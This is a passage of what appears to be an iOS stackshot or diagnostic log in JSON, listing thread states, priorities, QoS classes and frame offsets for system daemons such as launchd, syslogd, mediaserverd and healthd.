WAIT","TH_UNINT"],"waitEvent":[1,8525094165945594419]},"254":{"continuation":[0,4394504],"userTime":7.625e-06,"systemTime":0,"id":254,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944504003]},"229":{"continuation":[0,4394504],"userTime":0.016247708,"systemTime":0,"id":229,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944185635]},"407":{"continuation":[0,4394504],"userTime":3.9875e-05,"systemTime":0,"id":407,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945366723]},"512":{"continuation":[0,4394504],"userTime":4e-06,"systemTime":0,"id":512,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945896883]},"1440":{"continuation":[0,4394504],"userTime":3.333e-06,"systemTime":0,"id":1440,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165972972243]},"513":{"continuation":[0,4394504],"userTime":2.416e-06,"systemTime":0,"id":513,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945899523]},"238":{"continuation":[0,4394504],"userTime":0.002193416,"systemTime":0,"id":238,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944297507]},"416":{"continuation":[0,4394504],"userTime":1.6666e-05,"systemTime":0,"id":416,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945593939]},"255":{"continuation":[0,4394504],"userTime":7.375e-06,"systemTime":0,"id":255,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165941835811]},"6815":{"continuation":[0,4394504],"userTime":6.541e-06,"systemTime":0,"id":6815,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165971211923]},"408":{"continuation":[0,4394504],"userTime":1.6291e-05,"systemTime":0,"id":408,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945313155]},"361":{"continuation":[0,4394504],"userTime":0.000494916,"systemTime":0,"id":361,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945283043]},"425":{"continuation":[0,4394504],"userTime":0.001992625,"systemTime":0,"id":425,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945729667]},"700":{"continuation":[0,15700],"userTime":2.916e-06,"systemTime":0,"id":700,"basePriority":92,"schedPriority":92,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5861712]},"417":{"continuation":[0,4394504],"userTime":1.3916e-05,"systemTime":0,"id":417,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945593619]},"256":{"continuation":[0,4394504],"userTime":0.001016583,"systemTime":0,"id":256,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944297587]},"281":{"continuation":[0,4394504],"userTime":8.291000000000001e-06,"systemTime":0,"id":281,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944507203]},"370":{"continuation":[0,4394504],"userTime":0.0006963750000000001,"systemTime":0,"id":370,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945314195]},"273":{"continuation":[0,4394504],"userTime":7.333e-06,"systemTime":0,"id":273,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944606883]},"362":{"continuation":[0,4394504],"userTime":2.7458e-05,"systemTime":0,"id":362,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945282483]},"451":{"continuation":[0,3777328],"userTime":0.000595333,"systemTime":0,"id":451,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5874880]},"265":{"continuation":[0,4394504],"userTime":6.625e-06,"systemTime":0,"id":265,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944608243]},"604":{"userTime":3.49573925,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[6,50728],[6,21660],[0,4406240],[6,44848],[8,73328],[8,75564],[8,74332],[0,1037184]],"id":604,"basePriority":81,"schedPriority":81,"state":["TH_WAIT"],"waitEvent":[1,8525094165941860531]},"409":{"continuation":[0,4394504],"userTime":0.051610333,"systemTime":0,"id":409,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945285683]},"418":{"continuation":[0,4394504],"userTime":0.0332205,"systemTime":0,"id":418,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945365043]},"621":{"userTime":2.875e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1572648],[0,1037184]],"id":621,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946184227]},"371":{"continuation":[0,4394504],"userTime":1.0083e-05,"systemTime":0,"id":371,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945311795]},"524":{"continuation":[0,4394504],"userTime":4.916e-06,"systemTime":0,"id":524,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947022963]},"338":{"continuation":[0,4394504],"userTime":1.1041e-05,"systemTime":0,"id":338,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945153571]},"363":{"continuation":[0,4394504],"userTime":0.000188166,"systemTime":0,"id":363,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945282163]},"516":{"continuation":[0,4394504],"userTime":2.541e-06,"systemTime":0,"id":516,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946573443]},"452":{"continuation":[0,3339572],"userTime":3.083e-06,"systemTime":0,"id":452,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5888000]},"630":{"userTime":2.458e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[0,1567504],[0,1037184]],"id":630,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947982475]},"258":{"continuation":[0,4394504],"userTime":7.041e-06,"systemTime":0,"id":258,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944405779]},"622":{"userTime":2.583e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[0,1567504],[0,1037184]],"id":622,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946182347]},"436":{"continuation":[0,4394504],"userTime":0.014570916,"systemTime":0,"id":436,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944503923]},"372":{"continuation":[0,4394504],"userTime":0.000250541,"systemTime":0,"id":372,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945313875]},"339":{"continuation":[0,4394504],"userTime":0.000303916,"systemTime":0,"id":339,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945152931]},"364":{"continuation":[0,4394504],"userTime":0.022407208,"systemTime":0,"id":364,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945281923]},"517":{"continuation":[0,4394504],"userTime":2.458e-06,"systemTime":0,"id":517,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944408259]}},"timesThrottled":0},
"1" : {"pid":1,"residentMemoryBytes":5115904,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":1395,"pageFaults":91914,"userTimeTask":9.737515875,"procname":"launchd","copyOnWriteFaults":6111,"threadById":{"9597":{"qosEffective":"QOS_CLASS_USER_INITIATED","continuation":[12,30956],"qosRequested":"QOS_CLASS_USER_INITIATED","id":9597,"basePriority":37,"userTime":0.000283791,"systemTime":0,"schedPriority":37,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094165981424971]},"703":{"continuation":[0,3409388],"userTime":1.076994958,"qosRequested":"QOS_CLASS_USER_INITIATED","id":703,"basePriority":37,"systemTime":0,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"schedPriority":37,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"},"9532":{"qosEffective":"QOS_CLASS_USER_INITIATED","continuation":[12,30956],"qosRequested":"QOS_CLASS_USER_INITIATED","id":9532,"basePriority":37,"userTime":0.040095083,"systemTime":0,"schedPriority":37,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094166004174955]},"9598":{"qosEffective":"QOS_CLASS_USER_INITIATED","continuation":[12,30956],"qosRequested":"QOS_CLASS_USER_INITIATED","id":9598,"basePriority":37,"userTime":4.8458e-05,"systemTime":0,"schedPriority":37,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094165981424811]},"705":{"qosEffective":"QOS_CLASS_DEFAULT","continuation":[0,3548324],"qosRequested":"QOS_CLASS_DEFAULT","id":705,"basePriority":31,"userTime":0.013085125,"systemTime":0,"schedPriority":31,"userFrames":[[10,112848],[11,74556],[11,74528],[1,0]],"state":["TH_WAIT"],"waitEvent":[1,8525094165948893267]},"9599":{"qosEffective":"QOS_CLASS_USER_INITIATED","continuation":[12,30956],"qosRequested":"QOS_CLASS_USER_INITIATED","id":9599,"basePriority":37,"userTime":0.152546625,"systemTime":0,"schedPriority":37,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094165981426571]},"9596":{"qosEffective":"QOS_CLASS_USER_INITIATED","continuation":[12,30956],"qosRequested":"QOS_CLASS_USER_INITIATED","id":9596,"basePriority":37,"userTime":0.050828208,"systemTime":0,"schedPriority":36,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094165981428091]}},"timesThrottled":0},
"26" : {"pid":26,"residentMemoryBytes":376832,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":5,"pageFaults":364,"userTimeTask":0.01198,"procname":"amfid","copyOnWriteFaults":69,"threadById":{"747":{"continuation":[0,3409388],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","qosRequested":"QOS_CLASS_USER_INITIATED","id":747,"basePriority":37,"userTime":0.000244333,"systemTime":0,"schedPriority":37,"userFrames":[[10,116124],[11,84484]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"},"748":{"id":748,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","basePriority":31,"userFrames":[[10,112848],[11,74556]],"qosEffective":"QOS_CLASS_DEFAULT","userTime":0.000152541,"waitEvent":[1,8525094165948892251],"continuation":[0,3548324],"systemTime":0,"schedPriority":31}},"timesThrottled":0},
"33" : {"pid":33,"residentMemoryBytes":913408,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":39,"pageFaults":10577,"userTimeTask":3.29144575,"procname":"syslogd","copyOnWriteFaults":82,"threadById":{"1052":{"continuation":[0,95688],"userTime":0.726479291,"qosRequested":"QOS_CLASS_DEFAULT","id":1052,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,3120],[10,2732],[15,45428],[11,6064],[11,6000],[11,64432],[11,62284],[13,5240],[13,4136]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"9581":{"id":9581,"state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,113676],[13,5432],[13,4136]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.009221708,"waitEvent":[1,8525094166011027563],"continuation":[12,30956],"systemTime":0,"schedPriority":4},"1050":{"id":1050,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,112848],[11,74556]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":5.9541e-05,"waitEvent":[1,8525094165954918483],"continuation":[0,3548324],"systemTime":0,"schedPriority":4},"1021":{"continuation":[0,3409388],"userTime":0.0620885,"qosRequested":"QOS_CLASS_USER_INITIATED","id":1021,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"1051":{"id":1051,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,111840],[14,56876]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":4.925e-05,"waitEvent":[0,5862268],"continuation":[0,288076],"systemTime":0,"schedPriority":4},"9170":{"id":9170,"state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,113676],[13,5432],[13,4136]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.041713166,"waitEvent":[1,8525094166011070763],"continuation":[12,30956],"systemTime":0,"schedPriority":4},"8852":{"id":8852,"state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,113676],[13,5432],[13,4136]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.060116333,"waitEvent":[1,8525094165972394571],"continuation":[12,30956],"systemTime":0,"schedPriority":4}},"timesThrottled":0},
"38" : {"pid":38,"residentMemoryBytes":9678848,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":3600,"pageFaults":35341,"userTimeTask":6.551866333,"procname":"mediaserverd","copyOnWriteFaults":378,"threadById":{"1761":{"continuation":[0,95688],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","systemTime":0,"id":1761,"basePriority":47,"name":"com.apple.coremedia.recorderserver","userFrames":[[10,3120],[10,2732]],"schedPriority":47,"state":["TH_WAIT"],"userTime":0.000712041},"1771":{"continuation":[0,95688],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","systemTime":0,"id":1771,"basePriority":58,"name":"FigTransportConnectionUSB.server","userFrames":[[10,3120],[10,2732]],"schedPriority":58,"state":["TH_WAIT"],"userTime":0.003330458},"882":{"continuation":[0,95688],"userTime":0.597172208,"qosRequested":"QOS_CLASS_DEFAULT","id":882,"basePriority":31,"systemTime":0,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[17,16616],[18,10424],[1,0]],"schedPriority":31,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"1758":{"continuation":[0,95688],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","systemTime":0,"id":1758,"basePriority":47,"name":"com.apple.coremedia.remakerserver","userFrames":[[10,3120],[10,2732]],"schedPriority":47,"state":["TH_WAIT"],"userTime":0.000177625},"6120":{"continuation":[12,39944],"userTime":2.747571375,"systemTime":0,"id":6120,"basePriority":97,"name":"audio IO: VAD [vspd] Aggregate Device UID 2","userFrames":[[10,110568],[13,11572],[21,498620],[21,61212],[21,63608],[21,48404],[21,48084],[21,131776],[13,15164],[13,15008],[13,4144]],"schedPriority":97,"state":["TH_WAIT"],"waitEvent":[1,8525094166008156951]},"1769":{"continuation":[0,288076],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","userTime":5.7458e-05,"id":1769,"basePriority":58,"systemTime":0,"name":"FigTransportConnectionUSB.messagesending","schedPriority":58,"userFrames":[[10,3180],[11,75396]],"state":["TH_WAIT"],"waitEvent":[0,5862268]},"1090":{"continuation":[0,3409388],"userTime":0.084363875,"id":1090,"basePriority":63,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"schedPriority":63,"state":["TH_WAIT"],"systemTime":0},"2065":{"continuation":[0,95688],"userTime":0.035343916,"name":"com.apple.CoreMotion.MotionThread","id":2065,"basePriority":47,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[16,353612],[19,332688],[13,15164],[13,15008],[13,4144]],"schedPriority":47,"state":["TH_WAIT"],"systemTime":0},"6118":{"continuation":[12,39944],"userTime":1.514829375,"systemTime":0,"id":6118,"basePriority":37,"name":"DSP_Routing_Borealis","userFrames":[[10,110568],[13,11516],[20,184932],[20,1568796],[20,1567116],[20,180888],[13,15164],[13,15008],[13,4144]],"schedPriority":37,"state":["TH_WAIT"],"waitEvent":[1,8525094165971501847]},"1741":{"continuation":[0,95688],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","systemTime":0,"id":1741,"basePriority":31,"userFrames":[[10,3120],[10,2732]],"schedPriority":31,"state":["TH_WAIT"],"userTime":0.000113958}},"timesThrottled":0},
"40" : {"pid":40,"residentMemoryBytes":1187840,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":18,"pageFaults":1339,"userTimeTask":0.484084875,"procname":"fseventsd","copyOnWriteFaults":93,"threadById":{"884":{"continuation":[0,95688],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","qosRequested":"QOS_CLASS_DEFAULT","id":884,"basePriority":31,"userTime":0.018963458,"systemTime":0,"schedPriority":31,"userFrames":[[10,3120],[10,2732]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"1110":{"qosEffective":"QOS_CLASS_DEFAULT","continuation":[12,39944],"qosRequested":"QOS_CLASS_DEFAULT","id":1110,"basePriority":31,"userTime":0.010212708,"systemTime":0,"schedPriority":31,"userFrames":[[10,110568],[13,11516],[1,4295758888],[13,15164],[13,15008],[13,4144]],"state":["TH_WAIT"],"waitEvent":[1,8525094165963858863]},"1019":{"continuation":[0,3409388],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","qosRequested":"QOS_CLASS_USER_INITIATED","id":1019,"basePriority":37,"userTime":4.4291e-05,"systemTime":0,"schedPriority":37,"userFrames":[[10,116124],[11,84484]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"},"1013":{"continuation":[12,39944],"userTime":0.288472583,"systemTime":0,"id":1013,"basePriority":49,"userFrames":[[10,110568],[13,11516],[1,4295770168],[1,4295771396],[13,15164],[13,15008],[13,4144]],"schedPriority":49,"state":["TH_WAIT"],"waitEvent":[1,8525094165957045799]},"1109":{"userTime":0.140569791,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,3547956],[0,1393484],[0,3631580],[0,3630936],[0,1021664],[0,1016052],[0,1012208],[10,15104]],"id":1109,"basePriority":50,"userFrames":[[10,15104],[1,4295771120],[13,15164],[13,15008],[13,4144]],"schedPriority":50,"state":["TH_WAIT"],"waitEvent":[1,8525094166322166899]}},"timesThrottled":0},
"42" : {"pid":42,"residentMemoryBytes":7008256,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":439,"pageFaults":12187,"userTimeTask":0.614600833,"procname":"assistantd","copyOnWriteFaults":390,"threadById":{"3222":{"continuation":[0,95688],"userTime":0.011947625,"systemTime":0,"id":3222,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"name":"com.apple.NSURLConnectionLoader","schedPriority":4,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[24,712820],[22,995640],[13,15164],[13,15008],[13,4144]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"5361":{"id":5361,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"com.apple.coreaudio.AQClient","state":["TH_WAIT"],"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.000189166,"continuation":[0,95688],"systemTime":0,"schedPriority":4},"5384":{"id":5384,"name":"com.apple.CFSocket.private","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,111624],[16,927440],[13,15164],[13,15008],[13,4144]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.002970291,"continuation":[0,3548324],"systemTime":0,"schedPriority":4},"886":{"id":886,"state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[23,10184],[23,9260],[18,10424],[1,0]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.292254125,"continuation":[0,95688],"qosOverride":"QOS_CLASS_USER_INTERACTIVE","systemTime":0,"schedPriority":4},"2316":{"continuation":[0,3409388],"userTime":0.023168791,"qosRequested":"QOS_CLASS_USER_INITIATED","id":2316,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"5351":{"id":5351,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"AVAudioSession Notify Thread","state":["TH_WAIT"],"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.001819916,"continuation":[0,95688],"systemTime":0,"schedPriority":4}},"timesThrottled":0},
"44" : {"pid":44,"residentMemoryBytes":1150976,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":17,"pageFaults":2039,"userTimeTask":0.128403958,"procname":"fileproviderd","copyOnWriteFaults":132,"threadById":{"888":{"id":888,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.044724833,"continuation":[0,95688],"systemTime":0,"schedPriority":4},"2063":{"continuation":[0,3409388],"userTime":0.008572208,"qosRequested":"QOS_CLASS_USER_INITIATED","id":2063,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"}},"timesThrottled":0},
"46" : {"pid":46,"residentMemoryBytes":7286784,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":307,"pageFaults":10890,"userTimeTask":2.895701666,"procname":"routined","copyOnWriteFaults":194,"threadById":{"9027":{"id":9027,"state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,113676],[13,5432],[13,4136]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.016200875,"waitEvent":[1,8525094166009349563],"continuation":[12,30956],"systemTime":0,"schedPriority":4},"890":{"continuation":[0,95688],"userTime":0.185443458,"qosRequested":"QOS_CLASS_BACKGROUND","id":890,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[25,103096],[1,4295638092],[18,10424],[26,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"2162":{"continuation":[0,3409388],"userTime":0.070983166,"qosRequested":"QOS_CLASS_BACKGROUND","id":2162,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[26,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"8440":{"id":8440,"state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,113676],[13,5432],[13,4136]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.028288208,"waitEvent":[1,8525094166011028683],"continuation":[12,30956],"systemTime":0,"schedPriority":4}},"timesThrottled":0},
"48" : {"pid":48,"residentMemoryBytes":1155072,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":82,"pageFaults":1987,"userTimeTask":0.145489083,"procname":"mediaremoted","copyOnWriteFaults":140,"threadById":{"892":{"id":892,"state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[1,4295915236],[18,10424],[1,0]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.082221666,"continuation":[0,95688],"qosOverride":"QOS_CLASS_USER_INITIATED","systemTime":0,"schedPriority":4},"2091":{"continuation":[0,3409388],"userTime":0.02406425,"systemTime":0,"id":2091,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"schedPriority":4,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"2109":{"id":2109,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"com.apple.coremedia.player.async","state":["TH_WAIT"],"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3180],[11,75396]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.000392708,"waitEvent":[0,5862268],"continuation":[0,288076],"systemTime":0,"schedPriority":4}},"timesThrottled":0},
"52" : {"pid":52,"residentMemoryBytes":786432,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":49,"pageFaults":1446,"userTimeTask":0.09188379100000001,"procname":"misd","copyOnWriteFaults":115,"threadById":{"1273":{"id":1273,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_USER_INITIATED","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,116124],[11,84484]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.003467208,"continuation":[0,3409388],"systemTime":0,"schedPriority":4},"1274":{"id":1274,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,112848],[11,74556]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.000831291,"waitEvent":[1,8525094165955146843],"continuation":[0,3548324],"systemTime":0,"schedPriority":4}},"timesThrottled":0},
"54" : {"pid":54,"residentMemoryBytes":2162688,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":282,"pageFaults":4104,"userTimeTask":0.32062875,"procname":"healthd","copyOnWriteFaults":156,"threadById":{"898":{"continuation":[0,95688],"userTime":0.099543833,"qosRequested":"QOS_CLASS_DEFAULT","id":898,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[27,316156],[28,14948],[18,10424],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"2150":{"continuation":[0,3409388],"userTime":0.002964583,"qosRequested":"QOS_CLASS_USER_INITIATED","id":2150,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"3553":{"id